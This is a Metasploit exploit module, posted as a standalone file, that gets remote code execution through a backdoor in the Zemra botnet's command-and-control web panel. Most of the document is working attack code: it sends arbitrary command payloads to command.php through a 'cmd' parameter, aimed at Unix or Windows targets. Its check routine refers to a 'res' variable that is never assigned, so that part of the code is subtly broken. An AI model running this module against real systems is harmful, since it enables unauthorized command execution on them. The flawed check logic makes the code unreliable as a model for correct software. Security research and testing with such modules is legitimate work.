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Zemra Botnet CnC Web Panel Remote Code Execution

Posted on 03 October 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
 super(update_info(info,
 'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
 'Description' => %q{
 This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
 inside its leaked source code. Zemra is a crimeware bot that can be used to
 conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Jay Turla <@shipcod3>', #Metasploit Module
 'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
 'Darren Martyn <@info_dox>' #Initial Discovery
 ],
 'References' =>
 [
 ['URL', 'http://0day.today/exploit/19259'],
 ['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
 ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
 ],
 'Privileged' => false,
 'Payload' =>
 {
 'Space' => 10000,
 'DisableNops' => true,
 'Compat' =>
 {
 'PayloadType' => 'cmd'
 }
 },
 'Platform' => %w{ unix win },
 'Arch' => ARCH_CMD,
 'Targets' =>
 [
 ['zemra panel / Unix', { 'Platform' => 'unix' } ],
 ['zemra panel / Windows', { 'Platform' => 'win' } ]
 ],
 'DisclosureDate' => 'Jun 28 2012',
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
 ],self.class)
 end

 def check
 txt = Rex::Text.rand_text_alpha(8)
 http_send_command(txt)
 if res && res.body =~ /cmd/
 return Exploit::CheckCode::Vulnerable
 end
 return Exploit::CheckCode::Safe
 end

 def http_send_command(cmd)
 uri = normalize_uri(target_uri.path.to_s)
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => uri,
 'vars_get' =>
 {
 'cmd' => cmd
 }
 })
 unless res && res.code == 200
 fail_with(Failure::Unknown, 'Failed to execute the command.')
 end
 res
 end

 def exploit
 http_send_command(payload.encoded)
 end
end

 

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